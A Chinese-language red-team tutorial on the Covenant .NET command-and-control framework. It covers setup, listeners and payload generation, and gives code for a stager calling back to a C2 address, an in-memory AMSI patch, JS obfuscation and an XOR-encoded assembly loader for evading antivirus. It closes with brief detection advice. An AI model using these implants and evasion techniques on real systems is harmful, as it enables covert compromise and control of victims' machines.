开源C2:Covenant学习
字数 1660 2025-08-07 08:22:07
Covenant C2 框架全面学习指南
一、Covenant 简介
Covenant 是一款基于 .NET 开发的 C2 (Command and Control) 框架,专为红队操作设计,具有以下核心特点:
- 开发语言:C# (.NET Core)
- 跨平台支持:Windows、Linux、MacOS 及 Docker 容器
- 动态编译:支持上传 C# 代码到 C2 Server 并在内存中加载执行
- 可扩展性:提供丰富的 API 接口和自定义功能
主要优势
- 基于 Windows 系统原生支持,使用 .NET 框架
- 仅需 .NET 3.5+ 版本,支持静默安装
- 高度可扩展的架构设计
- 开源免费,避免商业工具的法律风险
二、安装与配置
Docker 安装(推荐)
# 克隆仓库(可能需要科学上网)
proxychains git clone --recurse-submodules https://github.com/cobbr/Covenant
# 构建镜像
cd Covenant/Covenant
sudo docker build -t covenant .
启动 Covenant
sudo docker run -it -p 7443:7443 -p 80:80 -p 443:443 \
--name covenant -v /path/to/Covenant/Data:/app/Data covenant
参数说明:
-p:端口映射(7443为管理界面,80/443为监听端口)-v:数据目录映射(必须使用绝对路径)
解决端口冲突
# 查看占用端口的进程
sudo netstat -nultp
# 停止占用服务(如Apache)
sudo service apache2 stop
访问管理界面
https://127.0.0.1:7443
首次访问需要注册管理员账户。
三、核心功能模块
1. Listeners(监听器)
支持多种监听配置:
DefaultHttpProfile
- 默认HTTP通信模板
- 包含预定义的Header、URL路径和响应格式
CustomHttpProfile
- 完全自定义的HTTP通信配置
TCPBridgeProfile
- TCP桥接模式,参考:C2Bridge项目
创建监听器步骤:
- 选择Profile类型
- 配置绑定地址和端口
- 设置通信参数(Header、URL路径等)
2. Launchers(载荷生成)
提供10种载荷生成方式(注意:默认方式易被杀软检测):
Binary Launcher示例
- 选择Binary类型
- 配置关联的Listener
- 生成可执行文件
3. Templates(模板)
- 预置多种任务模板
- 支持自定义模板开发
4. Grunts(代理)
- 上线主机管理界面
- 支持交互式命令执行
- 可修改代理参数(延迟、工作时段等)
5. Tasks(任务)
- 向代理下发任务
- 内置多种功能模块(信息收集、权限提升等)
6. Taskings(任务历史)
- 查看已执行命令的历史记录
- 包含执行结果和状态
7. Graph(关系图)
- 可视化展示C2网络拓扑
- 显示主机间关系
8. Data(数据)
- 集中存储收集的数据
- 结构化展示获取的信息
四、实战使用示例
1. 生成并执行Grunt
// 示例Grunt代码(简化版)
using System;
using System.Net;
using System.Linq;
using System.Reflection;
namespace GruntStager {
public class GruntStager {
public void ExecuteStager() {
// 通信配置
string CovenantURI = "http://192.168.175.209:80";
// ...省略加密和通信细节...
// 加载执行Assembly
byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
Assembly.Load(DecryptedAssembly).GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, "", GUID, SessionKey });
}
}
}
编译执行:
csc /t:exe Grunt.cs
./Grunt.exe
2. 与GadgetToJScript结合
GadgetToJScript 工具可将.NET程序集转换为JS/VBS脚本:
GadgetToJScript.exe -w js -f Grunt.cs -d System.Core.dll -o matrix
参数说明:
-w:输出格式(js/vbs/vba)-f:输入的C#文件-d:额外引用的DLL-o:输出文件名
3. JS文件混淆技巧
// 原始字符串
("D:\\7-Zip\\1\\")
// 混淆后
(/D:\7-Zip\1/.source + '\\')
五、绕过防护技术
AMSI绕过技术
// PatchAmsi.cs
using System;
using System.Runtime.InteropServices;
public class Program {
[DllImport("kernel32")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
public static void Patch() {
IntPtr hModule = LoadLibrary("amsi.dll");
// 使用egg hunt技术定位AmsiScanBuffer
byte[] egg = { 0x4C, 0x8B, 0xDC, 0x49, 0x89, 0x5B, 0x08 };
IntPtr address = FindAddress(GetProcAddress(hModule, "DllCanUnloadNow"), egg);
// Patch内存
byte[] patch = { 0xb8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax,0x80070057; ret
Marshal.Copy(patch, 0, address, 6);
}
}
关键点:
- 避免直接使用"AmsiScanBuffer"字符串
- 使用egg hunt模式动态定位函数地址
- Patch为返回固定值0x80070057 (E_INVALIDARG)
内存加载混淆技术
# 1. 读取并加密二进制
[byte[]]$rawbytes = [System.IO.File]::ReadAllBytes("Grunt.exe")
for ($i = 0; $i -lt $rawbytes.Length; $i++) { $rawbytes[$i] = $rawbytes[$i] -bxor 0x77 }
# 2. Base64编码
$b64 = [System.Convert]::ToBase64String($rawbytes)
# 3. 在C#中解密执行
byte[] bytes = Convert.FromBase64String(b64);
for (int i = 0; i < bytes.Length; i++) { bytes[i] ^= 0x77; }
Assembly.Load(bytes);
六、防御与检测建议
-
监控异常.NET行为:
- 非正常路径的Assembly.Load操作
- 异常的HTTP/S通信模式
-
检测AMSI绕过:
- 监控amsi.dll的内存修改
- 检测对AmsiScanBuffer的hook
-
增强日志记录:
- 记录所有PowerShell和cscript/wscript活动
- 监控异常的脚本行为
七、总结
Covenant作为一款开源的.NET C2框架,具有:
- 高度可定制性:可修改通信模式、加密方式等
- 良好的扩展性:支持自定义模块开发
- 跨平台支持:通过.NET Core实现多平台运行
结合GadgetToJScript等工具,可以实现多种方式的载荷投递。但需注意:
- 默认模板已被主流杀软标记
- 需配合混淆和绕过技术使用
- 适合红队研究和自定义开发
通过本文介绍的技术组合,安全研究人员可以深入理解.NET C2的工作原理及防御方法。